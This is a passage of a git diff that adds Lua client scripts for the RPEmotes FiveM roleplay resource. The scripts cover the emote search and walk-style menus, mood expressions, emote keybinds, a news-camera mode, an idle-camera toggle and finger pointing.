searchMenu.OnItemSelect = function(sender, item, index) + local data = results[index] + + if data == Translate('sharedanceemotes') then return end + if data == Translate('rfavorite') then + FavoriteEmote = "" + SimpleNotify(Translate('rfavorite')) + return + end + + if favEnabled and IsControlPressed(0, 21) then + if data.table ~= "Shared" then + FavoriteEmote = data.name + SimpleNotify("~o~" .. firstToUpper(data.name) .. Translate('newsetemote')) + else + SimpleNotify(Translate('searchcantsetfav')) + end + elseif data.table == "Emotes" or data.table == "Dances" then + EmoteMenuStart(data.name, string.lower(data.table)) + elseif data.table == "PropEmotes" then + EmoteMenuStart(data.name, "props") + elseif data.table == "AnimalEmotes" then + EmoteMenuStart(data.name, "animals") + elseif data.table == "Shared" then + target, distance = GetClosestPlayer() + if (distance ~= -1 and distance < 3) then + _, _, rename = table.unpack(RP.Shared[data.name]) + TriggerServerEvent("ServerEmoteRequest", GetPlayerServerId(target), data.name) + SimpleNotify(Translate('sentrequestto') .. GetPlayerName(target)) + else + SimpleNotify(Translate('nobodyclose')) + end + end + end + + searchMenu.OnListSelect = function(menu, item, itemIndex, listIndex) + EmoteMenuStart(results[itemIndex].name, "props", item:IndexToItem(listIndex).Value) + end + + if Config.SharedEmotesEnabled then + if #sharedDanceMenu.Items > 0 then + table.insert(results, (favEnabled and 2 or 1), Translate('sharedanceemotes')) + sharedDanceMenu.OnItemSelect = function(sender, item, index) + local data = results[index] + target, distance = GetClosestPlayer() + if (distance ~= -1 and distance < 3) then + _, _, rename = table.unpack(RP.Dances[data.name]) + TriggerServerEvent("ServerEmoteRequest", GetPlayerServerId(target), data.name, 'Dances') + SimpleNotify(Translate('sentrequestto') .. GetPlayerName(target)) + else + SimpleNotify(Translate('nobodyclose')) + end + end + else + sharedDanceMenu:Clear() + searchMenu:RemoveItemAt((favEnabled and 2 or 1)) + end + end + + searchMenu.OnMenuClosed = function() + searchMenu:Clear() + lastMenu:RemoveItemAt(#lastMenu.Items) + _menuPool:RefreshIndex() + results = {} + end + + _menuPool:RefreshIndex() + _menuPool:CloseAllMenus() + searchMenu:Visible(true) + else + SimpleNotify(string.format(Translate('searchnoresult')..' ~r~%s~w~', input)) + end + end + end +end + +function AddCancelEmote(menu) + local newitem = NativeUI.CreateItem(Translate('cancelemote'), Translate('cancelemoteinfo')) + menu:AddItem(newitem) + newitem.Activated = function() + EmoteCancel() + DestroyAllProps() + end +end + + +ShowPedPreview = function(menu) + menu.OnItemSelect = function(sender, item, index) + if (index == 1) then + InSearch = false + ShowPedMenu() + elseif index == 4 then + ShowPedMenu(true) + end + end +end + +function AddWalkMenu(menu) + local submenu = _menuPool:AddSubMenu(menu, Translate('walkingstyles'), "", true, true) + + walkreset = NativeUI.CreateItem(Translate('normalreset'), Translate('resetdef')) + submenu:AddItem(walkreset) + table.insert(WalkTable, Translate('resetdef')) + + -- This one is added here to be at the top of the list. + WalkInjured = NativeUI.CreateItem("Injured", "/walk (injured)") + submenu:AddItem(WalkInjured) + table.insert(WalkTable, "move_m@injured") + + for a, b in pairsByKeys(RP.Walks) do + x, label = table.unpack(b) + walkitem = NativeUI.CreateItem(label or a, "/walk (" .. string.lower(a) .. ")") + submenu:AddItem(walkitem) + table.insert(WalkTable, x) + end + + submenu.OnItemSelect = function(sender, item, index) + if item ~= walkreset then + WalkMenuStart(WalkTable[index]) + else + ResetWalk() + DeleteResourceKvp("walkstyle") + end + end +end + +function AddFaceMenu(menu) + local submenu = _menuPool:AddSubMenu(menu, Translate('moods'), "", true, true) + + local facereset = NativeUI.CreateItem(Translate('normalreset'), Translate('resetdef')) + submenu:AddItem(facereset) + table.insert(FaceTable, "") + + for name, data in pairsByKeys(RP.Expressions) do + local faceitem = NativeUI.CreateItem(data[2] or name, "") + submenu:AddItem(faceitem) + table.insert(FaceTable, name) + end + + + submenu.OnMenuClosed = function(menu) + ClosePedMenu() + end + + submenu.OnIndexChange = function(menu, newindex) + EmoteMenuStartPed(FaceTable[newindex], "expression") + end + + submenu.OnItemSelect = function(sender, item, index) + if item ~= facereset then + EmoteMenuStart(FaceTable[index], "expression") + else + ClearFacialIdleAnimOverride(PlayerPedId()) + end + end +end + +function AddInfoMenu(menu) + infomenu = _menuPool:AddSubMenu(menu, Translate('infoupdate'), "~h~~y~The RPEmotes Team & Collaborators~h~~y~", true, true) + + for _,v in ipairs(Config.Credits) do + local item = NativeUI.CreateItem(v.title,v.subtitle or "") + infomenu:AddItem(item) + end +end + +function OpenEmoteMenu() + if IsEntityDead(PlayerPedId()) then + -- show in chat + TriggerEvent('chat:addMessage', { + color = {255, 0, 0}, + multiline = true, + args = {"RPEmotes", Translate('dead')} + }) + return + end + if (IsPedSwimming(PlayerPedId()) or IsPedSwimmingUnderWater(PlayerPedId())) and not Config.AllowInWater then + -- show in chat + TriggerEvent('chat:addMessage', { + color = {255, 0, 0}, + multiline = true, + args = {"RPEmotes", Translate('swimming')} + }) + return + end + if _menuPool:IsAnyMenuOpen() then + _menuPool:CloseAllMenus() + else + mainMenu:Visible(true) + ProcessMenu() + end +end + +LoadAddonEmotes() +AddEmoteMenu(mainMenu) +AddCancelEmote(mainMenu) +if Config.PreviewPed then + ShowPedPreview(mainMenu) +end +if Config.WalkingStylesEnabled then + AddWalkMenu(mainMenu) +end +if Config.ExpressionsEnabled then + AddFaceMenu(mainMenu) +end +AddInfoMenu(mainMenu) + +_menuPool:RefreshIndex() + +local isMenuProcessing = false +function ProcessMenu() + if isMenuProcessing then return end + isMenuProcessing = true + while _menuPool:IsAnyMenuOpen() do + _menuPool:ProcessMenus() + Wait(0) + end + isMenuProcessing = false +end + +RegisterNetEvent("rp:Update", function(state) + UpdateAvailable = state + AddInfoMenu(mainMenu) + _menuPool:RefreshIndex() +end) + +RegisterNetEvent("rp:RecieveMenu", function() + OpenEmoteMenu() +end) + + +-- While ped is dead, don't show menus +CreateThread(function() + while true do + Wait(500) + if IsEntityDead(PlayerPedId()) then + _menuPool:CloseAllMenus() + end + if (IsPedSwimming(PlayerPedId()) or IsPedSwimmingUnderWater(PlayerPedId())) and not Config.AllowInWater then + -- cancel emote, destroy props and close menu + if IsInAnimation then + EmoteCancel() + end + _menuPool:CloseAllMenus() + end + end +end) diff --git a/resources/rpemotesreborn1.6.0/client/Expressions.lua b/resources/rpemotesreborn1.6.0/client/Expressions.lua new file mode 100644 index 000000000..a4d5e9825 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/Expressions.lua @@ -0,0 +1,74 @@ +function SetPlayerPedExpression(expression, saveToKvp) + SetFacialIdleAnimOverride(PlayerPedId(), expression, 0) + if Config.PersistentExpression and saveToKvp then SetResourceKvp("expression", expression) end +end + +function SetPlayerPedExpression_Preview(expression, saveToKvp) + SetFacialIdleAnimOverride(clonedPed, expression, 0) + if Config.PersistentExpression and saveToKvp then SetResourceKvp("expression", expression) end +end + +local function DisplayExpressions() + local moodsString = "" + for name, _ in pairs(RP.Expressions) do + moodsString = moodsString..string.lower(name)..", " + end + + EmoteChatMessage(moodsString) + EmoteChatMessage("To reset do /mood reset") +end + +if Config.ExpressionsEnabled then + RegisterCommand('mood', function(_source, args, _raw) + local expression = firstToUpper(string.lower(args[1])) + if RP.Expressions[expression] ~= nil then + SetPlayerPedExpression(RP.Expressions[expression][1], true) + elseif expression == "Reset" then + ClearFacialIdleAnimOverride(PlayerPedId()) + DeleteResourceKvp("expression") + else + EmoteChatMessage("'"..expression.."' is not a valid mood, do /moods to see all moods.") + end + end, false) + + RegisterCommand('moods', function() + DisplayExpressions() + end, false) + + -- Chat Suggestions + TriggerEvent('chat:addSuggestion', '/mood', 'Set your current mood/expression.', { { name = "expression", help = "/moods for a list of valid moods" } }) + TriggerEvent('chat:addSuggestion', '/moods', 'List available walking moods/expressions.') + + + -- Load the expression once the player has spawned. Standalone, QBCore and ESX -- + if Config.PersistentExpression then + AddEventHandler('playerSpawned', function() + local expression = GetResourceKvpString("expression") + if expression ~= nil then + Wait(2500) -- Delay, to ensure the player ped has loaded in + SetPlayerPedExpression(expression, false) + end + end) + + RegisterNetEvent('QBCore:Client:OnPlayerLoaded') + AddEventHandler('QBCore:Client:OnPlayerLoaded', function() + Wait(5000) + local expression = GetResourceKvpString("expression") + if expression ~= nil then + Wait(2500) -- Delay, to ensure the player ped has loaded in + SetPlayerPedExpression(expression, false) + end + end) + + RegisterNetEvent('esx:playerLoaded') + AddEventHandler('esx:playerLoaded', function() + Wait(5000) + local expression = GetResourceKvpString("expression") + if expression ~= nil then + Wait(2500) -- Delay, to ensure the player ped has loaded in + SetPlayerPedExpression(expression, false) + end + end) + end + +end diff --git a/resources/rpemotesreborn1.6.0/client/Keybinds.lua b/resources/rpemotesreborn1.6.0/client/Keybinds.lua new file mode 100644 index 000000000..644f81816 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/Keybinds.lua @@ -0,0 +1,145 @@ +if Config.SqlKeybinding then + local emob1 = "" + local emob2 = "" + local emob3 = "" + local emob4 = "" + local emob5 = "" + local emob6 = "" + local keyb1 = "" + local keyb2 = "" + local keyb3 = "" + local keyb4 = "" + local keyb5 = "" + local keyb6 = "" + local Initialized = false + + ----------------------------------------------------------------------------------------------------- + -- Commands / Events -------------------------------------------------------------------------------- + ----------------------------------------------------------------------------------------------------- + + CreateThread(function() + while true do + if NetworkIsPlayerActive(PlayerId()) and not Initialized then + if not Initialized then + TriggerServerEvent("rp:ServerKeybindExist") + Wait(5000) + end + end + + if not IsPedSittingInAnyVehicle(PlayerPedId()) then + + for k, v in pairs(Config.KeybindKeys) do + if IsControlJustReleased(0, v) then + if k == keyb1 then if emob1 ~= "" then EmoteCommandStart(nil, { emob1, 0 }) end end + if k == keyb2 then if emob2 ~= "" then EmoteCommandStart(nil, { emob2, 0 }) end end + if k == keyb3 then if emob3 ~= "" then EmoteCommandStart(nil, { emob3, 0 }) end end + if k == keyb4 then if emob4 ~= "" then EmoteCommandStart(nil, { emob4, 0 }) end end + if k == keyb5 then if emob5 ~= "" then EmoteCommandStart(nil, { emob5, 0 }) end end + if k == keyb6 then if emob6 ~= "" then EmoteCommandStart(nil, { emob6, 0 }) end end + Wait(1000) + end + end + else + Wait(500) + end + Wait(0) + end + end) + + RegisterNetEvent("rp:ClientKeybindExist") + AddEventHandler("rp:ClientKeybindExist", function(does) + if does then + TriggerServerEvent("rp:ServerKeybindGrab") + else + TriggerServerEvent("rp:ServerKeybindCreate") + end + end) + + RegisterNetEvent("rp:ClientKeybindGet") + AddEventHandler("rp:ClientKeybindGet", function(k1, e1, k2, e2, k3, e3, k4, e4, k5, e5, k6, e6) + keyb1 = k1 + emob1 = e1 + keyb2 = k2 + emob2 = e2 + keyb3 = k3 + emob3 = e3 + keyb4 = k4 + emob4 = e4 + keyb5 = k5 + emob5 = e5 + keyb6 = k6 + emob6 = e6 + Initialized = true + end) + + RegisterNetEvent("rp:ClientKeybindGetOne") + AddEventHandler("rp:ClientKeybindGetOne", function(key, e) + SimpleNotify(Translate('boundto', e, firstToUpper(key))) + if key == "num4" then emob1 = e + keyb1 = "num4" + elseif key == "num5" then emob2 = e + keyb2 = "num5" + elseif key == "num6" then emob3 = e + keyb3 = "num6" + elseif key == "num7" then emob4 = e + keyb4 = "num7" + elseif key == "num8" then emob5 = e + keyb5 = "num8" + elseif key == "num9" then emob6 = e + keyb6 = "num9" + end + end) + + ----------------------------------------------------------------------------------------------------- + ------ Functions and stuff -------------------------------------------------------------------------- + ----------------------------------------------------------------------------------------------------- + + function EmoteBindsStart() + EmoteChatMessage(Translate('currentlyboundemotes') .. "\n" + .. firstToUpper(keyb1) .. " = '^2" .. emob1 .. "^7'\n" + .. firstToUpper(keyb2) .. " = '^2" .. emob2 .. "^7'\n" + .. firstToUpper(keyb3) .. " = '^2" .. emob3 .. "^7'\n" + .. firstToUpper(keyb4) .. " = '^2" .. emob4 .. "^7'\n" + .. firstToUpper(keyb5) .. " = '^2" .. emob5 .. "^7'\n" + .. firstToUpper(keyb6) .. " = '^2" .. emob6 .. "^7'\n") + end + + function EmoteBindStart(source, args, raw) + if #args > 0 then + local key = string.lower(args[1]) + local emote = string.lower(args[2]) + if (Config.KeybindKeys[key]) ~= nil then + if RP.Emotes[emote] ~= nil + or RP.Dances[emote] ~= nil + or RP.PropEmotes[emote] ~= nil + or RP.AnimalEmotes[emote] ~= nil + then + TriggerServerEvent("rp:ServerKeybindUpdate", key, emote) + else + EmoteChatMessage("'" .. emote .. "' " .. Translate('notvalidemote') .. "") + end + else + EmoteChatMessage("'" .. key .. "' " .. Translate('notvalidkey')) + end + else + print("invalid") + end + end + + function DeleteEmote(source, args) + if #args > 0 then + local key = string.lower(args[1]) + if (Config.KeybindKeys[key]) ~= nil then + TriggerServerEvent("rp:ServerKeybindDelete", key) + Wait(1000) + TriggerServerEvent("rp:ServerKeybindExist") + + else + EmoteChatMessage("'"..key.."' "..Translate('notvalidkey')) + end + else + print("invalid") + end + end + +end diff --git a/resources/rpemotesreborn1.6.0/client/NewsCam.lua b/resources/rpemotesreborn1.6.0/client/NewsCam.lua new file mode 100644 index 000000000..5070c7d1f --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/NewsCam.lua @@ -0,0 +1,347 @@ +IsUsingNewscam = false + +if Config.NewscamEnabled then + RegisterCommand("newscam", function() + UseNewscam() + end, false) + + TriggerEvent('chat:addSuggestion', '/newscam', 'Use newscam', {}) + + local fov_max = 70.0 + local fov_min = 10.0 -- max zoom level (smaller fov is more zoom) + local zoomspeed = 10.0 -- camera zoom speed + local speed_lr = 8.0 -- speed by which the camera pans left-right + local speed_ud = 8.0 -- speed by which the camera pans up-down + local fov = (fov_max + fov_min) * 0.5 + local index = 0 + prop_newscam = nil + local msg = "YOUR TEXT HERE" + local bottom = "YOUR TEXT HERE" + local title = "YOUR TEXT HERE" + local instructions = true + + -- INSTRUCTIONAL BUTTONS + + function SetupButtons(button) + local scaleform = RequestScaleformMovie("instructional_buttons") + while not HasScaleformMovieLoaded(scaleform) do + Wait(10) + end + PushScaleformMovieFunction(scaleform, "CLEAR_ALL") + PopScaleformMovieFunctionVoid() + + PushScaleformMovieFunction(scaleform, "SET_CLEAR_SPACE") + PushScaleformMovieFunctionParameterInt(200) + PopScaleformMovieFunctionVoid() + + for i, btn in pairs(button) do + PushScaleformMovieFunction(scaleform, "SET_DATA_SLOT") + PushScaleformMovieFunctionParameterInt(i - 1) + ScaleformMovieMethodAddParamPlayerNameString(GetControlInstructionalButton(0, btn.key, true)) + BeginTextCommandScaleformString("STRING") + AddTextComponentScaleform(Translate(btn.text)) + EndTextCommandScaleformString() + PopScaleformMovieFunctionVoid() + end + + PushScaleformMovieFunction(scaleform, "DRAW_INSTRUCTIONAL_BUTTONS") + PopScaleformMovieFunctionVoid() + + return scaleform + end + + -- MAIN FUNCTION + function UseNewscam() + if IsPedSittingInAnyVehicle(PlayerPedId()) then + return + end + if isInActionWithErrorMessage({ ['IsUsingNewscam'] = true }) then + return + end + IsUsingNewscam = not IsUsingNewscam + + if IsUsingNewscam then + CreateThread(function() + DestroyAllProps() + ClearPedTasks(PlayerPedId()) + RequestAnimDict("missfinale_c2mcs_1") + while not HasAnimDictLoaded("missfinale_c2mcs_1") do + Wait(5) + end + + -- attach the prop to the player + local boneIndex = GetPedBoneIndex(PlayerPedId(), 28422) + local x, y, z = table.unpack(GetEntityCoords(PlayerPedId(), true)) + if not HasModelLoaded("prop_v_cam_01") then + LoadPropDict("prop_v_cam_01") + end + prop_newscam = CreateObject(GetHashKey("prop_v_cam_01"), x, y, z + 0.2, true, true, true) + AttachEntityToEntity(prop_newscam, PlayerPedId(), boneIndex, 0.0, 0.03, 0.01, 0.0, 0.0, 0.0, true, true, + false, true, 1, true) + + TaskPlayAnim(PlayerPedId(), "missfinale_c2mcs_1", "fin_c2_mcs_1_camman", 5.0, 5.0, -1, 51, 0, 0, 0, 0) + PlayAmbientSpeech1(PlayerPedId(), "GENERIC_CURSE_MED", "SPEECH_PARAMS_FORCE") + SetCurrentPedWeapon(PlayerPedId(), GetHashKey("WEAPON_UNARMED"), true) + + RemoveAnimDict("missfinale_c2mcs_1") + SetModelAsNoLongerNeeded("prop_v_cam_01") + end) + Wait(200) + SetTimecycleModifier("default") + SetTimecycleModifierStrength(0.3) + local breaking_news = RequestScaleformMovie("breaking_news") + while not HasScaleformMovieLoaded(breaking_news) do + Wait(10) + end + + + PushScaleformMovieFunction(breaking_news, "breaking_news") + PopScaleformMovieFunctionVoid() + + BeginScaleformMovieMethod(breaking_news, 'SET_TEXT') + PushScaleformMovieMethodParameterString(msg) + PushScaleformMovieMethodParameterString(bottom) + EndScaleformMovieMethod() + + BeginScaleformMovieMethod(breaking_news, 'SET_SCROLL_TEXT') + PushScaleformMovieMethodParameterInt(0) -- top ticker + PushScaleformMovieMethodParameterInt(0) -- Since this is the first string, start at 0 + PushScaleformMovieMethodParameterString(title) + + EndScaleformMovieMethod() + + BeginScaleformMovieMethod(breaking_news, 'DISPLAY_SCROLL_TEXT') + PushScaleformMovieMethodParameterInt(0) -- Top ticker + PushScaleformMovieMethodParameterInt(0) -- Index of string + + EndScaleformMovieMethod() + + local scaleform_news = breaking_news + + local cam = CreateCam("DEFAULT_SCRIPTED_FLY_CAMERA", true) + + AttachCamToEntity(cam, PlayerPedId(), 0.0, 0.0, 1.2, true) + SetCamRot(cam, 0.0, 0.0, GetEntityHeading(PlayerPedId())) + SetCamFov(cam, fov) + RenderScriptCams(true, false, 0, 1, 0) + + local scaleform_instructions = SetupButtons({ + { key = 177, text = 'exit_news' }, + { key = 19, text = 'toggle_news_vision' }, + { key = 74, text = "edit_values_newscam" }, + { key = 47, text = 'toggle_instructions' } + }) + + -- MAIN LOOP + while IsUsingNewscam and not IsEntityDead(PlayerPedId()) and not IsPedSittingInAnyVehicle(PlayerPedId()) do + if IsControlJustPressed(0, 177) then + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + IsUsingNewscam = false + end + + local zoomvalue = (1.0 / (fov_max - fov_min)) * (fov - fov_min) + CheckInputRotation(cam, zoomvalue) + + HandleZoom(cam) + HideHUDThisFrame() + DisableControlAction(0, 25, true) -- disable aim + DisableControlAction(0, 44, true) -- INPUT_COVER + DisableControlAction(0, 37, true) -- INPUT_SELECT_WEAPON + DisableControlAction(0, 24, true) -- Attack + DisablePlayerFiring(PlayerPedId(), true) -- Disable weapon firing + + + if IsControlJustPressed(0, 19) then + -- if index = 0, show the "security_camera" scaleform, if index = 1, show the "breaking_news" scaleform and reset the index to 0 + if index == 0 then + index = 1 + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + scaleform_news = nil + CreateThread(function() + while index == 1 do + DrawRect(0.0, 0.0, 2.0, 0.2, 0, 0, 0, 255) + DrawRect(0.0, 1.0, 2.0, 0.2, 0, 0, 0, 255) + Wait(1) + end + end) + else + index = 0 + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + scaleform_news = breaking_news + end + end + + -- if players presses H, call SetMsgBottomTitle() + if IsControlJustPressed(0, 74) then + SetMsgBottomTitle() + end + + if IsControlJustPressed(0, 47) then + if not instructions then + instructions = true + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + else + instructions = false + PlaySoundFrontend(-1, "SELECT", "HUD_FRONTEND_DEFAULT_SOUNDSET", false) + end + end + + DrawScaleformMovieFullscreen(scaleform_news, 255, 255, 255, 255) + if instructions then + DrawScaleformMovieFullscreen(scaleform_instructions, 255, 255, 255, 255) + end + Wait(1) + end + end + + -- RESET EVERYTHING + IsUsingNewscam = false + index = 0 + ClearPedTasks(PlayerPedId()) + ClearTimecycleModifier() + fov = (fov_max + fov_min) * 0.5 + RenderScriptCams(false, false, 0, 1, 0) + SetScaleformMovieAsNoLongerNeeded(scaleform) + DestroyCam(cam, false) + DeleteEntity(prop_newscam) + SetNightvision(false) + SetSeethrough(false) + end + + function SetMsgBottomTitle() + -- keyboard input to set the message and bottom title + AddTextEntry("top", "Enter the top message of the news") + DisplayOnscreenKeyboard(1, "top", "", "", "", "", "", 200) + while (UpdateOnscreenKeyboard() == 0) do + DisableAllControlActions(0); + Wait(0); + end + if (GetOnscreenKeyboardResult()) then + title = tostring(GetOnscreenKeyboardResult()) + end + + AddTextEntry("bottom", "Enter the bottom title of the news") + DisplayOnscreenKeyboard(1, "bottom", "", "", "", "", "", 200) + while (UpdateOnscreenKeyboard() == 0) do + DisableAllControlActions(0); + Wait(0); + end + if (GetOnscreenKeyboardResult()) then + bottom = tostring(GetOnscreenKeyboardResult()) + end + + AddTextEntry("title", "Enter the title of the news") + DisplayOnscreenKeyboard(1, "title", "", "", "", "", "", 200) + while (UpdateOnscreenKeyboard() == 0) do + DisableAllControlActions(0); + Wait(0); + end + if (GetOnscreenKeyboardResult()) then + msg = tostring(GetOnscreenKeyboardResult()) + end + + + -- reset the scaleform and set the new values + SetScaleformMovieAsNoLongerNeeded(breaking_news) + breaking_news = RequestScaleformMovie("breaking_news") + while not HasScaleformMovieLoaded(breaking_news) do + Wait(10) + end + + PushScaleformMovieFunction(breaking_news, "breaking_news") + PopScaleformMovieFunctionVoid() + + BeginScaleformMovieMethod(breaking_news, 'SET_TEXT') + PushScaleformMovieMethodParameterString(msg) + PushScaleformMovieMethodParameterString(bottom) + EndScaleformMovieMethod() + + BeginScaleformMovieMethod(breaking_news, 'SET_SCROLL_TEXT') + PushScaleformMovieMethodParameterInt(0) -- top ticker + PushScaleformMovieMethodParameterInt(0) -- Since this is the first string, start at 0 + PushScaleformMovieMethodParameterString(title) + EndScaleformMovieMethod() + + BeginScaleformMovieMethod(breaking_news, 'DISPLAY_SCROLL_TEXT') + PushScaleformMovieMethodParameterInt(0) -- Top ticker + PushScaleformMovieMethodParameterInt(0) -- Index of string + EndScaleformMovieMethod() + end + + -- UTILS + function HideHUDThisFrame() + HideHelpTextThisFrame() + HideHudAndRadarThisFrame() + HideHudComponentThisFrame(19) -- weapon wheel + HideHudComponentThisFrame(1) -- Wanted Stars + HideHudComponentThisFrame(2) -- Weapon icon + HideHudComponentThisFrame(3) -- Cash + HideHudComponentThisFrame(4) -- MP CASH + HideHudComponentThisFrame(13) -- Cash Change + HideHudComponentThisFrame(11) -- Floating Help Text + HideHudComponentThisFrame(12) -- more floating help text + HideHudComponentThisFrame(15) -- Subtitle Text + HideHudComponentThisFrame(18) -- Game Stream + end + + function CheckInputRotation(cam, zoomvalue) + local rightAxisX = GetDisabledControlNormal(0, 220) + local rightAxisY = GetDisabledControlNormal(0, 221) + local rotation = GetCamRot(cam, 2) + if rightAxisX ~= 0.0 or rightAxisY ~= 0.0 then + local new_z = rotation.z + rightAxisX * -1.0 * (speed_ud) * (zoomvalue + 0.1) + local new_x = math.max(math.min(20.0, rotation.x + rightAxisY * -1.0 * (speed_lr) * (zoomvalue + 0.1)), -29.5) + SetCamRot(cam, new_x, 0.0, new_z, 2) + end + end + + function HandleZoom(cam) + local lPed = PlayerPedId() + if not (IsPedSittingInAnyVehicle(lPed)) then + if IsControlJustPressed(0, 241) then -- Scrollup + fov = math.max(fov - zoomspeed, fov_min) + end + if IsControlJustPressed(0, 242) then + fov = math.min(fov + zoomspeed, fov_max) -- ScrollDown + end + local current_fov = GetCamFov(cam) + if math.abs(fov - current_fov) < 0.1 then + fov = current_fov + end + SetCamFov(cam, current_fov + (fov - current_fov) * 0.05) + else + if IsControlJustPressed(0, 17) then -- Scrollup + fov = math.max(fov - zoomspeed, fov_min) + end + if IsControlJustPressed(0, 16) then + fov = math.min(fov + zoomspeed, fov_max) -- ScrollDown + end + local current_fov = GetCamFov(cam) + if math.abs(fov - current_fov) < 0.1 then -- the difference is too small, just set the value directly to avoid unneeded updates to FOV of order 10^-5 + fov = current_fov + end + SetCamFov(cam, current_fov + (fov - current_fov) * 0.05) -- Smoothing of camera zoom + end + end + + AddEventHandler('onResourceStop', function(resource) + if resource == GetCurrentResourceName() then + if IsUsingNewscam then + ClearPedTasks(PlayerPedId()) + ClearTimecycleModifier() + RenderScriptCams(false, false, 0, 1, 0) + SetScaleformMovieAsNoLongerNeeded(scaleform_news) + SetScaleformMovieAsNoLongerNeeded(scaleform_instructions) + DestroyCam(cam, false) + DeleteEntity(prop_newscam) + SetNightvision(false) + SetSeethrough(false) + end + end + end) + + -- add export + exports('toggleNewscam', function() + UseNewscam() + end) +end diff --git a/resources/rpemotesreborn1.6.0/client/NoIdleCam.lua b/resources/rpemotesreborn1.6.0/client/NoIdleCam.lua new file mode 100644 index 000000000..68fe9d342 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/NoIdleCam.lua @@ -0,0 +1,29 @@ +RegisterCommand('idlecamoff', function() -- help2 31, 167, 9 + TriggerEvent('chat:addMessage', { + color = {227,8,0}, + multiline = true, + args = {'[RPEmotes]', 'Idle Cam Is Now Off'} + }) + DisableIdleCamera(true) + SetPedCanPlayAmbientAnims(playerPed, false) + SetResourceKvp("idleCam", "off") +end, false) + +RegisterCommand('idlecamon', function() -- help2 31, 167, 9 + TriggerEvent('chat:addMessage', { + color = {31,167,9}, + multiline = true, + args = {'[RPEmotes]', 'Idle Cam Is Now On'} + }) + DisableIdleCamera(false) + SetPedCanPlayAmbientAnims(playerPed, true) + SetResourceKvp("idleCam", "on") +end, false) + +CreateThread(function() + TriggerEvent("chat:addSuggestion", "/idlecamon", "Re-enables the idle cam") + TriggerEvent("chat:addSuggestion", "/idlecamoff", "Disables the idle cam") + + local idleCamDisabled = GetResourceKvpString("idleCam") == "off" + DisableIdleCamera(idleCamDisabled) +end) diff --git a/resources/rpemotesreborn1.6.0/client/Pointing.lua b/resources/rpemotesreborn1.6.0/client/Pointing.lua new file mode 100644 index 000000000..c37841e44 --- /dev/null +++ b/resources/rpemotesreborn1.6.0/client/Pointing.lua @@ -0,0 +1,138 @@ +Pointing = false + +local function IsPlayerAiming(player) + return IsPlayerFreeAiming(player) or IsAimCamActive() or IsAimCamThirdPersonActive() +end + +--- Enabled pointing in a car, however hands up and pointing on a bike is broken until someone can give enough of a fuck to chime in and fix it. --- + +local function CanPlayerPoint(playerId, playerPed) + if not DoesEntityExist(playerPed) or IsPedOnAnyBike(playerPed) or IsPlayerAiming(playerId) or IsPedFalling(playerPed) or IsPedInjured(playerPed) or IsPedInMeleeCombat(playerPed) or IsPedRagdoll(playerPed) or not IsPedHuman(playerPed) then + return false + end + + return true +end + +local function PointingStopped() + local playerPed = PlayerPedId() + + RequestTaskMoveNetworkStateTransition(playerPed, 'Stop') + SetPedConfigFlag(playerPed, 36, false) + if not IsPedInjured(playerPed) then + ClearPedSecondaryTask(playerPed) + end + RemoveAnimDict("anim@mp_point") + if Config.PersistentEmoteAfterPointing and IsInAnimation then + local emote = RP.Emotes[CurrentAnimationName] + if not emote then + emote = RP.PropEmotes[CurrentAnimationName] + end + + if not emote then + return + end + + emote.name = CurrentAnimationName + + ClearPedSecondaryTask(playerPed) + Wait(400) + DestroyAllProps() + OnEmotePlay(emote, emote.name) + end +end + +local function PointingThread() + CreateThread(function() + local playerId = PlayerId() + local playerPed = PlayerPedId() + + while Pointing do + Wait(0) + + if not CanPlayerPoint(playerId, playerPed) then + Pointing = false + break + end + + local camPitch = GetGameplayCamRelativePitch() + if camPitch < -70.0 then + camPitch = -70.0 + elseif camPitch > 42.0 then + camPitch = 42.0 + end + + camPitch = (camPitch + 70.0) / 112.0 + + local camHeading = GetGameplayCamRelativeHeading() + local cosCamHeading = math.cos(camHeading) + local sinCamHeading = math.sin(camHeading) + + if camHeading < -180.0 then + camHeading = -180.0 + elseif camHeading > 180.0 then + camHeading = 180.0 + end + + camHeading = (camHeading + 180.0) / 360.0 + local coords = GetOffsetFromEntityInWorldCoords(playerPed, (cosCamHeading * -0.2) - (sinCamHeading * (0.4 * camHeading + 0.3)), (sinCamHeading * -0.2) + (cosCamHeading * (0.4 * camHeading + 0.3)), 0.6) + local _rayHandle, blocked = GetShapeTestResult(StartShapeTestCapsule(coords.x, coords.y, coords.z - 0.2, coords.x, coords.y, coords.z + 0.2, 0.4, 95, playerPed, 7)) + + SetTaskMoveNetworkSignalFloat(playerPed, 'Pitch', camPitch) + SetTaskMoveNetworkSignalFloat(playerPed, 'Heading', (camHeading * -1.0) + 1.0) + SetTaskMoveNetworkSignalBool(playerPed, 'isBlocked', blocked) + SetTaskMoveNetworkSignalBool(playerPed, 'isFirstPerson', GetCamViewModeForContext(GetCamActiveViewModeContext()) == 4) + end + + PointingStopped() + end) +end + +local function StartPointing() + if isInActionWithErrorMessage() then + return + end + + local playerPed = PlayerPedId() + if not CanPlayerPoint(PlayerId(), playerPed) then + return + end + + Pointing = not Pointing + + -- If we should point and the animation was loaded, then start pointing + if Pointing and LoadAnim("anim@mp_point") then + SetPedConfigFlag(playerPed, 36, true) + TaskMoveNetworkByName(playerPed, 'task_mp_pointing', 0.5, false, 'anim@mp_point', 24) + DestroyAllProps() + -- Start thread + PointingThread() + end +end + + +-- Commands & KeyMapping -- +if Config.PointingEnabled then + RegisterCommand('pointing', function() + if IsPedInAnyVehicle(PlayerPedId(), false) and not Config.PointingKeybindInCarEnabled then + return + end + StartPointing() + end, false) + + if Config.PointingKeybindEnabled then + RegisterKeyMapping("pointing", Translate('pointing'), "keyboard", Config.PointingKeybind) + end + + TriggerEvent('chat:addSuggestion', '/pointing', 'Finger pointing.') +end + + +-- Exports -- +-- Returns if the player is pointing +---@return boolean +local function IsPlayerPointing() + return Pointing +end + +exports('IsPlayerPointing', IsPlayerPointing) diff --git a/resources/rpemotesreborn1.6.0/client/Ragdoll.lua b/resources/rpemotesreborn1.6.0/client/Ragdoll.lua new file mode 100644 index 000000000..8689555bf --- 